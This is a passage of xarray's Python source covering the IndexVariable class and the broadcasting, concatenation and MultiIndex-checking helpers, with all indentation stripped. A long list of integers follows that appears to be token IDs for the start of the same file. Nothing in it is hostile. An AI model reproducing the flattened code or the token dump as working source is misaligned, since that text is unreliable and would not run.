this is deprecated, in future will return a dict with indices for all
dimensions; to return a dict with all dimensions now, pass '...'.
axis : int, optional
Axis over which to apply `argmin`. Only one of the 'dim' and 'axis' arguments
can be supplied.
keep_attrs : bool, optional
If True, the attributes (`attrs`) will be copied from the original
object to the new one. If False (default), the new object will be
returned without attributes.
skipna : bool, optional
If True, skip missing values (as marked by NaN). By default, only
skips missing values for float dtypes; other dtypes either do not
have a sentinel missing value (int) or skipna=True has not been
implemented (object, datetime64 or timedelta64).
Returns
-------
result : Variable or dict of Variable
See also
--------
DataArray.argmax, DataArray.idxmax
"""
return self._unravel_argminmax("argmax", dim, axis, keep_attrs, skipna)
ops.inject_all_ops_and_reduce_methods(Variable)
class IndexVariable(Variable):
"""Wrapper for accommodating a pandas.Index in an xarray.Variable.
IndexVariable preserve loaded values in the form of a pandas.Index instead
of a NumPy array. Hence, their values are immutable and must always be one-
dimensional.
They also have a name property, which is the name of their sole dimension
unless another name is given.
"""
__slots__ = ()
def __init__(self, dims, data, attrs=None, encoding=None, fastpath=False):
super().__init__(dims, data, attrs, encoding, fastpath)
if self.ndim != 1:
raise ValueError("%s objects must be 1-dimensional" % type(self).__name__)
# Unlike in Variable, always eagerly load values into memory
if not isinstance(self._data, PandasIndexAdapter):
self._data = PandasIndexAdapter(self._data)
def __dask_tokenize__(self):
from dask.base import normalize_token
# Don't waste time converting pd.Index to np.ndarray
return normalize_token((type(self), self._dims, self._data.array, self._attrs))
def load(self):
# data is already loaded into memory for IndexVariable
return self
# https://github.com/python/mypy/issues/1465
@Variable.data.setter # type: ignore
def data(self, data):
raise ValueError(
f"Cannot assign to the .data attribute of dimension coordinate a.k.a IndexVariable {self.name!r}. "
f"Please use DataArray.assign_coords, Dataset.assign_coords or Dataset.assign as appropriate."
)
@Variable.values.setter # type: ignore
def values(self, values):
raise ValueError(
f"Cannot assign to the .values attribute of dimension coordinate a.k.a IndexVariable {self.name!r}. "
f"Please use DataArray.assign_coords, Dataset.assign_coords or Dataset.assign as appropriate."
)
def chunk(self, chunks={}, name=None, lock=False):
# Dummy - do not chunk. This method is invoked e.g. by Dataset.chunk()
return self.copy(deep=False)
def _as_sparse(self, sparse_format=_default, fill_value=_default):
# Dummy
return self.copy(deep=False)
def _to_dense(self):
# Dummy
return self.copy(deep=False)
def _finalize_indexing_result(self, dims, data):
if getattr(data, "ndim", 0) != 1:
# returns Variable rather than IndexVariable if multi-dimensional
return Variable(dims, data, self._attrs, self._encoding)
else:
return type(self)(dims, data, self._attrs, self._encoding, fastpath=True)
def __setitem__(self, key, value):
raise TypeError("%s values cannot be modified" % type(self).__name__)
@classmethod
def concat(cls, variables, dim="concat_dim", positions=None, shortcut=False):
"""Specialized version of Variable.concat for IndexVariable objects.
This exists because we want to avoid converting Index objects to NumPy
arrays, if possible.
"""
if not isinstance(dim, str):
(dim,) = dim.dims
variables = list(variables)
first_var = variables[0]
if any(not isinstance(v, cls) for v in variables):
raise TypeError(
"IndexVariable.concat requires that all input "
"variables be IndexVariable objects"
)
indexes = [v._data.array for v in variables]
if not indexes:
data = []
else:
data = indexes[0].append(indexes[1:])
if positions is not None:
indices = nputils.inverse_permutation(np.concatenate(positions))
data = data.take(indices)
attrs = dict(first_var.attrs)
if not shortcut:
for var in variables:
if var.dims != first_var.dims:
raise ValueError("inconsistent dimensions")
utils.remove_incompatible_items(attrs, var.attrs)
return cls(first_var.dims, data, attrs)
def copy(self, deep=True, data=None):
"""Returns a copy of this object.
`deep` is ignored since data is stored in the form of
pandas.Index, which is already immutable. Dimensions, attributes
and encodings are always copied.
Use `data` to create a new object with the same structure as
original but entirely new data.
Parameters
----------
deep : bool, optional
Deep is ignored when data is given. Whether the data array is
loaded into memory and copied onto the new object. Default is True.
data : array_like, optional
Data to use in the new object. Must have same shape as original.
Returns
-------
object : Variable
New object with dimensions, attributes, encodings, and optionally
data copied from original.
"""
if data is None:
data = self._data.copy(deep=deep)
else:
data = as_compatible_data(data)
if self.shape != data.shape:
raise ValueError(
"Data shape {} must match shape of object {}".format(
data.shape, self.shape
)
)
return type(self)(self.dims, data, self._attrs, self._encoding, fastpath=True)
def equals(self, other, equiv=None):
# if equiv is specified, super up
if equiv is not None:
return super().equals(other, equiv)
# otherwise use the native index equals, rather than looking at _data
other = getattr(other, "variable", other)
try:
return self.dims == other.dims and self._data_equals(other)
except (TypeError, AttributeError):
return False
def _data_equals(self, other):
return self.to_index().equals(other.to_index())
def to_index_variable(self):
"""Return this variable as an xarray.IndexVariable"""
return self
to_coord = utils.alias(to_index_variable, "to_coord")
def to_index(self):
"""Convert this variable to a pandas.Index"""
# n.b. creating a new pandas.Index from an old pandas.Index is
# basically free as pandas.Index objects are immutable
assert self.ndim == 1
index = self._data.array
if isinstance(index, pd.MultiIndex):
# set default names for multi-index unnamed levels so that
# we can safely rename dimension / coordinate later
valid_level_names = [
name or "{}_level_{}".format(self.dims[0], i)
for i, name in enumerate(index.names)
]
index = index.set_names(valid_level_names)
else:
index = index.set_names(self.name)
return index
@property
def level_names(self):
"""Return MultiIndex level names or None if this IndexVariable has no
MultiIndex.
"""
index = self.to_index()
if isinstance(index, pd.MultiIndex):
return index.names
else:
return None
def get_level_variable(self, level):
"""Return a new IndexVariable from a given MultiIndex level."""
if self.level_names is None:
raise ValueError("IndexVariable %r has no MultiIndex" % self.name)
index = self.to_index()
return type(self)(self.dims, index.get_level_values(level))
@property
def name(self):
return self.dims[0]
@name.setter
def name(self, value):
raise AttributeError("cannot modify name of IndexVariable in-place")
# for backwards compatibility
Coordinate = utils.alias(IndexVariable, "Coordinate")
def _unified_dims(variables):
# validate dimensions
all_dims = {}
for var in variables:
var_dims = var.dims
if len(set(var_dims)) < len(var_dims):
raise ValueError(
"broadcasting cannot handle duplicate "
"dimensions: %r" % list(var_dims)
)
for d, s in zip(var_dims, var.shape):
if d not in all_dims:
all_dims[d] = s
elif all_dims[d] != s:
raise ValueError(
"operands cannot be broadcast together "
"with mismatched lengths for dimension %r: %s"
% (d, (all_dims[d], s))
)
return all_dims
def _broadcast_compat_variables(*variables):
"""Create broadcast compatible variables, with the same dimensions.
Unlike the result of broadcast_variables(), some variables may have
dimensions of size 1 instead of the the size of the broadcast dimension.
"""
dims = tuple(_unified_dims(variables))
return tuple(var.set_dims(dims) if var.dims != dims else var for var in variables)
def broadcast_variables(*variables):
"""Given any number of variables, return variables with matching dimensions
and broadcast data.
The data on the returned variables will be a view of the data on the
corresponding original arrays, but dimensions will be reordered and
inserted so that both broadcast arrays have the same dimensions. The new
dimensions are sorted in order of appearance in the first variable's
dimensions followed by the second variable's dimensions.
"""
dims_map = _unified_dims(variables)
dims_tuple = tuple(dims_map)
return tuple(
var.set_dims(dims_map) if var.dims != dims_tuple else var for var in variables
)
def _broadcast_compat_data(self, other):
if all(hasattr(other, attr) for attr in ["dims", "data", "shape", "encoding"]):
# `other` satisfies the necessary Variable API for broadcast_variables
new_self, new_other = _broadcast_compat_variables(self, other)
self_data = new_self.data
other_data = new_other.data
dims = new_self.dims
else:
# rely on numpy broadcasting rules
self_data = self.data
other_data = other
dims = self.dims
return self_data, other_data, dims
def concat(variables, dim="concat_dim", positions=None, shortcut=False):
"""Concatenate variables along a new or existing dimension.
Parameters
----------
variables : iterable of Variable
Arrays to stack together. Each variable is expected to have
matching dimensions and shape except for along the stacked
dimension.
dim : str or DataArray, optional
Name of the dimension to stack along. This can either be a new
dimension name, in which case it is added along axis=0, or an
existing dimension name, in which case the location of the
dimension is unchanged. Where to insert the new dimension is
determined by the first variable.
positions : None or list of array-like, optional
List of integer arrays which specifies the integer positions to which
to assign each dataset along the concatenated dimension. If not
supplied, objects are concatenated in the provided order.
shortcut : bool, optional
This option is used internally to speed-up groupby operations.
If `shortcut` is True, some checks of internal consistency between
arrays to concatenate are skipped.
Returns
-------
stacked : Variable
Concatenated Variable formed by stacking all the supplied variables
along the given dimension.
"""
variables = list(variables)
if all(isinstance(v, IndexVariable) for v in variables):
return IndexVariable.concat(variables, dim, positions, shortcut)
else:
return Variable.concat(variables, dim, positions, shortcut)
def assert_unique_multiindex_level_names(variables):
"""Check for uniqueness of MultiIndex level names in all given
variables.
Not public API. Used for checking consistency of DataArray and Dataset
objects.
"""
level_names = defaultdict(list)
all_level_names = set()
for var_name, var in variables.items():
if isinstance(var._data, PandasIndexAdapter):
idx_level_names = var.to_index_variable().level_names
if idx_level_names is not None:
for n in idx_level_names:
level_names[n].append(f"{n!r} ({var_name})")
if idx_level_names:
all_level_names.update(idx_level_names)
for k, v in level_names.items():
if k in variables:
v.append("(%s)" % k)
duplicate_names = [v for v in level_names.values() if len(v) > 1]
if duplicate_names:
conflict_str = "\n".join(", ".join(v) for v in duplicate_names)
raise ValueError("conflicting MultiIndex level name(s):\n%s" % conflict_str)
# Check confliction between level names and dimensions GH:2299
for k, v in variables.items():
for d in v.dims:
if d in all_level_names:
raise ValueError(
"conflicting level / dimension names. {} "
"already exists as a level name.".format(d)
)
| [
1,
1053,
3509,
13,
5215,
2090,
312,
8789,
13,
5215,
4256,
8504,
13,
5215,
3694,
13,
5215,
18116,
13,
3166,
16250,
1053,
2322,
8977,
13,
3166,
12865,
1053,
5335,
287,
2554,
13,
3166,
1320,
13239,
29889,
3259,
1053,
4309,
852,
6594,
13,
3166,
19229,
1053,
313,
13,
1678,
3139,
29892,
13,
1678,
360,
919,
29892,
13,
1678,
11874,
519,
29892,
13,
1678,
341,
20304,
29892,
13,
1678,
28379,
29892,
13,
1678,
922,
3910,
29892,
13,
1678,
12603,
552,
29892,
13,
1678,
5167,
9037,
29892,
13,
1678,
7761,
29892,
13,
29897,
13,
13,
5215,
12655,
408,
7442,
13,
5215,
11701,
408,
10518,
13,
13,
5215,
921,
2378,
408,
921,
29878,
29871,
396,
871,
363,
13373,
24541,
322,
3630,
2588,
13,
13,
3166,
869,
1053,
23342,
29892,
3619,
29892,
270,
8768,
29892,
868,
384,
29918,
2378,
29918,
3554,
29892,
26190,
29892,
302,
649,
2719,
29892,
288,
567,
29892,
3667,
29879,
13,
3166,
869,
2248,
292,
1053,
313,
13,
1678,
19219,
3220,
261,
29892,
13,
1678,
4451,
261,
3220,
261,
29892,
13,
1678,
349,
7086,
3220,
6168,
29892,
13,
1678,
16510,
1891,
3220,
261,
29892,
13,
1678,
408,
29918,
2248,
519,
29892,
13,
29897,
13,
3166,
869,
9302,
12667,
1053,
8519,
29918,
8186,
29925,
29896,
29947,
29918,
17923,
18474,
13,
3166,
869,
6768,
1053,
903,
657,
29918,
17462,
29918,
5552,
29879,
13,
3166,
869,
2272,
12667,
1053,
313,
13,
1678,
18002,
29891,
29918,
2378,
29918,
1853,
29892,
13,
1678,
270,
1278,
29918,
2378,
29918,
1853,
29892,
13,
1678,
6043,
29918,
8768,
29892,
13,
1678,
338,
29918,
700,
384,
29918,
29881,
1278,
29918,
2378,
29892,
13,
29897,
13,
3166,
869,
13239,
1053,
313,
13,
1678,
8170,
287,
2697,
29892,
13,
1678,
903,
4381,
29892,
13,
1678,
21822,
29918,
23749,
29918,
8977,
29918,
5975,
29892,
13,
1678,
5768,
29918,
6229,
29879,
29918,
3166,
29918,
2248,
414,
29892,
13,
1678,
2845,
29918,
8977,
29918,
272,
29918,
19290,
29892,
13,
1678,
9801,
29918,
375,
29918,
2230,
29918,
9778,
918,
29892,
13,
1678,
3041,
861,
29918,
6229,
29879,
29892,
13,
1678,
338,
29918,
700,
384,
29918,
2378,
29892,
13,
29897,
13,
13,
29940,
1164,
29918,
11601,
3580,
29979,
29918,
29903,
4897,
15082,
3352,
29918,
1718,
22800,
29918,
15631,
29925,
2890,
353,
313,
13,
1678,
313,
13,
4706,
26190,
29889,
9544,
4019,
368,
3220,
287,
29892,
13,
4706,
10518,
29889,
3220,
29892,
13,
1678,
1723,
13,
1678,
718,
270,
1278,
29918,
2378,
29918,
1853,
13,
1678,
718,
18002,
29891,
29918,
2378,
29918,
1853,
13,
29897,
13,
29937,
2045,
597,
3292,
29889,
510,
29914,
4691,
29914,
1357,
2272,
29914,
12175,
29914,
29906,
29906,
29946,
13,
29933,
3289,
2965,
29918,
27992,
4214,
29918,
15631,
29925,
2890,
353,
6043,
29918,
8768,
718,
313,
18337,
29892,
29897,
29871,
396,
1134,
29901,
11455,
13,
13,
16174,
1542,
353,
5167,
9037,
703,
16174,
1542,
613,
3216,
543,
16174,
1159,
13,
15945,
29908,
1542,
17195,
304,
367,
1304,
746,
3519,
310,
28736,
736,
1583,
470,
263,
3509,
310,
1583,
29889,
13,
10401,
2000,
515,
385,
2777,
310,
263,
19481,
29892,
321,
29889,
29887,
29889,
11374,
16174,
29892,
590,
2272,
2893,
11057,
278,
13,
4905,
408,
385,
2777,
310,
278,
19481,
29889,
13,
13,
27573,
1057,
13,
13,
259,
770,
28736,
29901,
13,
539,
822,
285,
29898,
1311,
29901,
28736,
1542,
29892,
29757,
1599,
28736,
1542,
29901,
13,
965,
2023,
13,
15945,
29908,
13,
13,
13,
1990,
4750,
292,
16142,
5580,
2392,
29898,
1917,
2392,
1125,
13,
1678,
9995,
2392,
770,
1304,
746,
591,
508,
29915,
29873,
23511,
4140,
263,
9927,
1024,
1213,
15945,
13,
13,
1678,
396,
7846,
1169,
515,
7865,
2392,
363,
1250,
1328,
24521,
13,
1678,
396,
14402,
29901,
4337,
445,
304,
385,
921,
2378,
29889,
11739,
29879,
3883,
29973,
13,
13,
13,
1753,
408,
29918,
11918,
29898,
5415,
29892,
1024,
29922,
8516,
29897,
1599,
376,
19986,
29961,
16174,
29892,
11374,
16174,
29962,
1115,
13,
1678,
9995,
18455,
385,
1203,
964,
263,
28736,
29889,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
5446,
584,
1203,
13,
4706,
4669,
304,
3588,
964,
263,
28736,
29889,
13,
13,
4706,
448,
960,
278,
1203,
338,
2307,
263,
28736,
29892,
736,
263,
4091,
340,
3509,
29889,
13,
4706,
448,
13466,
29892,
565,
278,
1203,
756,
525,
6229,
29879,
29915,
322,
525,
1272,
29915,
8393,
29892,
3588,
13,
3986,
372,
964,
263,
716,
28736,
29889,
13,
4706,
448,
960,
599,
1683,
8465,
29892,
4218,
304,
3588,
278,
1203,
964,
263,
28736,
491,
13,
3986,
443,
4058,
292,
372,
964,
278,
6273,
363,
4969,
263,
716,
28736,
29889,
13,
1678,
1024,
584,
851,
29892,
13136,
13,
4706,
960,
4944,
29901,
13,
13,
4706,
448,
421,
5415,
29952,
508,
367,
263,
29871,
29896,
29928,
1409,
29892,
607,
338,
12023,
304,
3858,
14821,
1819,
13,
3986,
3412,
263,
9927,
310,
445,
2183,
1024,
29889,
13,
4706,
448,
9586,
1849,
411,
1024,
9686,
697,
310,
1009,
13391,
526,
11543,
13,
3986,
964,
421,
3220,
16174,
29952,
3618,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
722,
584,
28736,
13,
4706,
450,
15141,
2825,
2286,
29889,
13,
13,
1678,
9995,
13,
1678,
515,
869,
1272,
2378,
1053,
3630,
2588,
13,
13,
1678,
396,
14402,
29901,
2050,
23771,
445,
1158,
304,
6336,
4386,
306,
3780,
322,
13,
1678,
565,
338,
8758,
29898,
5415,
29892,
3630,
2588,
1125,
13,
4706,
396,
6597,
278,
7601,
28736,
515,
3630,
2588,
29879,
13,
4706,
5446,
353,
5446,
29889,
11918,
13,
13,
1678,
565,
338,
8758,
29898,
5415,
29892,
28736,
1125,
13,
4706,
5446,
353,
5446,
29889,
8552,
29898,
24535,
29922,
8824,
29897,
13,
1678,
25342,
338,
8758,
29898,
5415,
29892,
18761,
1125,
13,
4706,
1018,
29901,
13,
9651,
5446,
353,
28736,
10456,
5415,
29897,
13,
4706,
5174,
313,
1542,
2392,
29892,
7865,
2392,
29897,
408,
1059,
29901,
13,
9651,
396,
671,
869,
4830,
580,
2012,
310,
1273,
1363,
372,
17766,
5291,
2701,
5718,
2705,
13,
9651,
12020,
1059,
17255,
1990,
12035,
13,
18884,
376,
23323,
451,
3588,
18761,
310,
883,
376,
13,
18884,
18227,
6229,
29879,
29892,
848,
21939,
12421,
29879,
29892,
8025,
29962,
1125,
376,
13,
18884,
376,
8875,
304,
28736,
1213,
29889,
4830,
29898,
5415,
29897,
13,
9651,
1723,
13,
1678,
25342,
3667,
29879,
29889,
275,
29918,
19529,
279,
29898,
5415,
1125,
13,
4706,
5446,
353,
28736,
4197,
1402,
5446,
29897,
13,
1678,
25342,
338,
8758,
29898,
5415,
29892,
313,
15926,
29889,
3220,
29892,
11374,
16174,
876,
322,
5446,
29889,
978,
338,
451,
6213,
29901,
13,
4706,
5446,
353,
28736,
29898,
5415,
29889,
978,
29892,
5446,
29897,
13,
1678,
25342,
338,
8758,
29898,
5415,
29892,
313,
842,
29892,
9657,
22164,
13,
4706,
12020,
20948,
703,
11918,
426,
29991,
29878,
29913,
756,
8340,
1134,
426,
29991,
29878,
29913,
1642,
4830,
29898,
978,
29892,
1134,
29898,
5415,
4961,
13,
1678,
25342,
1024,
338,
451,
6213,
29901,
13,
4706,
848,
353,
408,
29918,
23712,
29918,
1272,
29898,
5415,
29897,
13,
4706,
565,
848,
29889,
299,
326,
2804,
29871,
29896,
29901,
13,
9651,
12020,
4750,
292,
16142,
5580,
2392,
29898,
13,
18884,
376,
29883,
6735,
731,
2286,
1273,
29878,
411,
1273,
29878,
29899,
12531,
848,
376,
13,
18884,
376,
14037,
6261,
9927,
2983,
29889,
6978,
263,
18761,
310,
376,
13,
18884,
18227,
6229,
29879,
29892,
848,
29897,
2012,
1213,
1273,
313,
978,
29892,
848,
29889,
299,
326,
29897,
13,
9651,
1723,
13,
4706,
5446,
353,
28736,
29898,
978,
29892,
848,
29892,
5172,
2084,
29922,
5574,
29897,
13,
1678,
1683,
29901,
13,
4706,
12020,
20948,
29898,
13,
9651,
376,
348,
519,
304,
3588,
1203,
964,
263,
2286,
1728,
385,
376,
13,
9651,
376,
4548,
4019,
1051,
310,
13391,
29901,
1273,
29878,
29908,
1273,
5446,
13,
4706,
1723,
13,
13,
1678,
565,
1024,
338,
451,
6213,
322,
1024,
297,
5446,
29889,
6229,
29879,
29901,
13,
4706,
396,
3588,
278,
28736,
964,
385,
11374,
13,
4706,
565,
5446,
29889,
299,
326,
2804,
29871,
29896,
29901,
13,
9651,
12020,
4750,
292,
16142,
5580,
2392,
29898,
13,
18884,
11860,
29878,
756,
901,
1135,
29871,
29896,
29899,
6229,
2673,
322,
278,
1021,
1024,
408,
697,
310,
967,
376,
13,
18884,
376,
6229,
5580,
1273,
29878,
29889,
921,
2378,
766,
497,
1242,
1316,
3651,
1363,
896,
376,
13,
18884,
376,
5527,
29176,
411,
278,
10350,
1304,
304,
3858,
376,
13,
18884,
376,
6229,
5580,
1213,
1273,
313,
978,
29892,
5446,
29889,
6229,
29879,
29897,
13,
9651,
1723,
13,
4706,
5446,
353,
5446,
29889,
517,
29918,
2248,
29918,
11918,
580,
13,
13,
1678,
736,
5446,
13,
13,
13,
1753,
903,
26026,
29918,
6312,
29918,
1272,
29898,
1272,
1125,
13,
1678,
9995,
13,
1678,
12065,
11701,
29889,
3220,
322,
12655,
29889,
299,
2378,
6273,
297,
13304,
3618,
304,
9801,
13,
1678,
896,
508,
367,
27541,
6284,
29889,
13,
13,
1678,
11848,
2272,
2588,
6168,
29892,
349,
7086,
3220,
6168,
322,
19575,
2354,
3744,
261,
3220,
287,
2588,
881,
13,
1678,
599,
1209,
1549,
443,
1545,
2164,
29889,
13,
1678,
9995,
13,
1678,
565,
338,
8758,
29898,
1272,
29892,
10518,
29889,
3220,
1125,
13,
4706,
736,
349,
7086,
3220,
6168,
29898,
1272,
29897,
13,
1678,
736,
848,
13,
13,
13,
1753,
903,
28802,
14981,
29918,
13441,
29918,
12650,
29898,
5975,
1125,
13,
1678,
9995,
18455,
7049,
310,
12865,
29889,
12673,
322,
12865,
29889,
9346,
287,
2554,
3618,
964,
13,
1678,
12865,
29953,
29946,
322,
5335,
287,
2554,
29953,
29946,
29892,
5034,
304,
278,
11701,
15687,
29889,
3115,
1304,
363,
13,
1678,
2854,
1218,
393,
12865,
29953,
29946,
322,
5335,
287,
2554,
29953,
29946,
3618,
526,
2629,
278,
2854,
2635,
13,
1678,
3464,
363,
17534,
16716,
29892,
408,
11701,
674,
12020,
385,
1059,
565,
896,
526,
451,
29889,
13,
1678,
9995,
13,
1678,
736,
7442,
29889,
294,
2378,
29898,
15926,
29889,
19204,
29898,
5975,
29889,
336,
955,
3101,
467,
690,
14443,
29898,
5975,
29889,
12181,
29897,
13,
13,
13,
1753,
408,
29918,
23712,
29918,
1272,
29898,
1272,
29892,
5172,
2084,
29922,
8824,
1125,
13,
1678,
9995,
29925,
3445,
598,
322,
12244,
848,
304,
1925,
297,
263,
28736,
29889,
13,
13,
1678,
448,
960,
848,
947,
451,
505,
278,
5181,
8393,
29892,
3588,
372,
304,
29871,
299,
2378,
29889,
13,
1678,
448,
960,
848,
756,
26688,
29922,
12673,
29953,
29946,
29892,
9801,
393,
372,
756,
17534,
16716,
29889,
960,
372,
29915,
29879,
263,
13,
418,
11701,
29889,
27939,
29892,
3588,
372,
304,
12865,
29953,
29946,
29889,
13,
1678,
448,
960,
848,
338,
2307,
263,
11701,
470,
921,
2378,
1203,
313,
1228,
1135,
385,
11374,
511,
925,
13,
418,
671,
278,
1819,
29889,
13,
13,
1678,
9788,
29892,
12244,
372,
701,
411,
385,
13304,
565,
5181,
29889,
13,
1678,
9995,
13,
1678,
565,
5172,
2084,
322,
679,
5552,
29898,
1272,
29892,
376,
299,
326,
613,
29871,
29900,
29897,
1405,
29871,
29900,
29901,
13,
4706,
396,
508,
29915,
29873,
671,
5172,
2084,
313,
29891,
300,
29897,
363,
8716,
1503,
13,
4706,
736,
903,
26026,
29918,
6312,
29918,
1272,
29898,
1272,
29897,
13,
13,
1678,
565,
338,
8758,
29898,
1272,
29892,
28736,
1125,
13,
4706,
736,
848,
29889,
1272,
13,
13,
1678,
565,
338,
8758,
29898,
1272,
29892,
405,
1164,
29918,
11601,
3580,
29979,
29918,
29903,
4897,
15082,
3352,
29918,
1718,
22800,
29918,
15631,
29925,
2890,
1125,
13,
4706,
736,
903,
26026,
29918,
6312,
29918,
1272,
29898,
1272,
29897,
13,
13,
1678,
565,
338,
8758,
29898,
1272,
29892,
18761,
1125,
13,
4706,
848,
353,
3667,
29879,
29889,
517,
29918,
29900,
29881,
29918,
3318,
29918,
2378,
29898,
1272,
29897,
13,
13,
1678,
565,
338,
8758,
29898,
1272,
29892,
10518,
29889,
27939,
1125,
13,
4706,
396,
14402,
29901,
3588,
29892,
4386,
12865,
3618,
29892,
2086,
13,
4706,
848,
353,
7442,
29889,
12673,
29953,
29946,
29898,
1272,
29889,
1767,
29892,
376,
1983,
1159,
13,
13,
1678,
565,
338,
8758,
29898,
1272,
29892,
5335,
287,
2554,
1125,
13,
4706,
848,
353,
7442,
29889,
9346,
287,
2554,
29953,
29946,
29898,
657,
5552,
29898,
1272,
29892,
376,
1767,
613,
848,
511,
376,
1983,
1159,
13,
13,
1678,
396,
591,
1016,
29915,
29873,
864,
9322,
1583,
29899,
2783,
23059,
7049,
13,
1678,
848,
353,
679,
5552,
29898,
1272,
29892,
376,
5975,
613,
848,
29897,
13,
13,
1678,
565,
338,
8758,
29898,
1272,
29892,
7442,
29889,
655,
29889,
19832,
287,
2588,
1125,
13,
4706,
11105,
353,
7442,
29889,
655,
29889,
657,
13168,
2378,
29898,
1272,
29897,
13,
4706,
565,
11105,
29889,
1384,
7295,
13,
9651,
26688,
29892,
5445,
29918,
1767,
353,
270,
8768,
29889,
26026,
29918,
14032,
866,
29898,
1272,
29889,
29881,
1853,
29897,
13,
9651,
848,
353,
7442,
29889,
294,
2378,
29898,
1272,
29892,
26688,
29922,
29881,
1853,
29897,
13,
9651,
848,
29961,
13168,
29962,
353,
5445,
29918,
1767,
13,
4706,
1683,
29901,
13,
9651,
848,
353,
7442,
29889,
294,
2378,
29898,
1272,
29897,
13,
13,
1678,
565,
451,
338,
8758,
29898,
1272,
29892,
7442,
29889,
299,
2378,
1125,
13,
4706,
565,
756,
5552,
29898,
1272,
29892,
376,
1649,
2378,
29918,
2220,
1649,
29908,
1125,
13,
9651,
565,
8519,
29918,
8186,
29925,
29896,
29947,
29918,
17923,
18474,
29901,
13,
18884,
736,
848,
13,
9651,
1683,
29901,
13,
18884,
12020,
20948,
29898,
13,
462,
1678,
376,
29954,
327,
385,
11848,
19737,
29899,
4561,
1409,
1134,
13138,
278,
376,
13,
462,
1678,
376,
1649,
2378,
29918,
2220,
1649,
9608,
541,
14693,
29925,
29896,
29947,
338,
451,
9615,
29889,
376,
13,
462,
1678,
376,
5596,
393,
12655,
6736,
325,
29896,
29889,
29896,
29953,
322,
393,
278,
5177,
376,
13,
462,
1678,
525,
11918,
376,
11601,
3580,
29979,
29918,
5746,
13171,
7833,
3919,
1964,
29918,
1718,
22800,
29918,
29943,
28700,
29908,
338,
731,
304,
525,
13,
462,
1678,
18793,
29896,
29908,
29915,
13,
18884,
1723,
13,
13,
1678,
396,
12725,
3692,
278,
848,
338,
2854,
848,
4072,
29889,
13,
1678,
848,
353,
7442,
29889,
294,
2378,
29898,
1272,
29897,
13,
13,
1678,
565,
338,
8758,
29898,
1272,
29892,
7442,
29889,
299,
2378,
1125,
13,
4706,
565,
848,
29889,
29881,
1853,
29889,
14380,
1275,
376,
29949,
1115,
13,
9651,
848,
353,
903,
28802,
14981,
29918,
13441,
29918,
12650,
29898,
1272,
29897,
13,
4706,
25342,
848,
29889,
29881,
1853,
29889,
14380,
1275,
376,
29924,
1115,
13,
9651,
848,
353,
903,
28802,
14981,
29918,
13441,
29918,
12650,
29898,
1272,
29897,
13,
4706,
25342,
848,
29889,
29881,
1853,
29889,
14380,
1275,
376,
29885,
1115,
13,
9651,
848,
353,
903,
28802,
14981,
29918,
13441,
29918,
12650,
29898,
1272,
29897,
13,
13,
1678,
736,
903,
26026,
29918,
6312,
29918,
1272,
29898,
1272,
29897,
13,
13,
13,
1753,
903,
294,
29918,
2378,
29918,
272,
29918,
667,
29898,
1272,
1125,
13,
1678,
9995,
11609,
278,
2183,
1819,
408,
263,
12655,
1409,
29892,
470,
408,
385,
5375,
2944,
565,
13,
1678,
372,
29915,
29879,
263,
29871,
29900,
29881,
12865,
29953,
29946,
470,
5335,
287,
2554,
29953,
29946,
1409,
29889,
13,
13,
1678,
16032,
10835,
29892,
445,
740,
947,
451,
3509,
848,
565,
372,
338,
2307,
385,
29871,
299,
2378,
448,
13,
1678,
6467,
29892,
372,
674,
451,
367,
1950,
304,
2767,
28736,
1819,
297,
2058,
29889,
13,
13,
1678,
910,
740,
11149,
4864,
1363,
29871,
29900,
29899,
12531,
29871,
299,
2378,
29879,
411,
13,
1678,
26688,
29922,
12673,
29953,
29946,
526,
9391,
16824,
13,
1678,
2045,
597,
3292,
29889,
510,
29914,
23749,
29914,
23749,
29914,
12175,
29914,
29946,
29941,
29941,
29955,
13,
1678,
2045,
597,
3292,
29889,
510,
29914,
23749,
29914,
23749,
29914,
12175,
29914,
29955,
29953,
29896,
29929,
13,
13,
1678,
14402,
29901,
3349,
445,
313,
6506,
411,
7442,
29889,
294,
2378,
29897,
2748,
1438,
5626,
526,
4343,
13,
1678,
9995,
13,
1678,
565,
338,
8758,
29898,
1272,
29892,
18002,
29891,
29918,
2378,
29918,
1853,
1125,
13,
4706,
848,
353,
848,
29889,
657,
580,
13,
1678,
1683,
29901,
13,
4706,
848,
353,
7442,
29889,
294,
2378,
29898,
1272,
29897,
13,
1678,
565,
848,
29889,
299,
326,
1275,
29871,
29900,
29901,
13,
4706,
565,
848,
29889,
29881,
1853,
29889,
14380,
1275,
376,
29924,
1115,
13,
9651,
848,
353,
7442,
29889,
12673,
29953,
29946,
29898,
1272,
29892,
376,
1983,
1159,
13,
4706,
25342,
848,
29889,
29881,
1853,
29889,
14380,
1275,
376,
29885,
1115,
13,
9651,
848,
353,
7442,
29889,
9346,
287,
2554,
29953,
29946,
29898,
1272,
29892,
376,
1983,
1159,
13,
1678,
736,
848,
13,
13,
13,
1990,
28736,
29898,
13,
1678,
3619,
29889,
9118,
2588,
29892,
23342,
29889,
14039,
29879,
1433,
18542,
29892,
3667,
29879,
29889,
29940,
6229,
3505,
21515,
29924,
861,
262,
13,
1125,
13,
1678,
9995,
29909,
302,
7070,
2176,
29899,
4561,
2286,
19849,
310,
13391,
29892,
848,
322,
8393,
13,
1678,
607,
8453,
263,
2323,
4398,
29889,
319,
2323,
28736,
1203,
338,
451,
8072,
13,
1678,
5439,
5377,
278,
3030,
310,
967,
3847,
13373,
24541,
313,
361,
366,
864,
1316,
263,
13,
1678,
8072,
5439,
1203,
29892,
671,
263,
3630,
2588,
2012,
467,
13,
13,
1678,
450,
1667,
13303,
4328,
1546,
9586,
1849,
322,
12655,
7049,
338,
393,
13,
1678,
16259,
6931,
373,
9586,
1849,
2334,
1409,
12672,
292,
491,
9927,
13,
1678,
1024,
29889,
1152,
1342,
29892,
4417,
385,
28736,
411,
13391,
421,
877,
2230,
742,
3569,
304,
13,
1678,
1790,
28736,
411,
13391,
421,
877,
3493,
742,
3569,
2582,
297,
263,
716,
28736,
13,
1678,
411,
13391,
421,
877,
2230,
742,
525,
3493,
1495,
1412,
16478,
29892,
12655,
10032,
6931,
13,
1678,
763,
4954,
12676,
16159,
470,
4954,
2083,
16159,
526,
975,
17625,
304,
2125,
263,
376,
6229,
2673,
29908,
2980,
13,
1678,
2012,
310,
385,
376,
8990,
1642,
13,
13,
1678,
9586,
1849,
526,
3578,
29899,
7915,
3618,
1304,
408,
278,
5214,
2908,
363,
20035,
29889,
13,
1678,
2688,
526,
901,
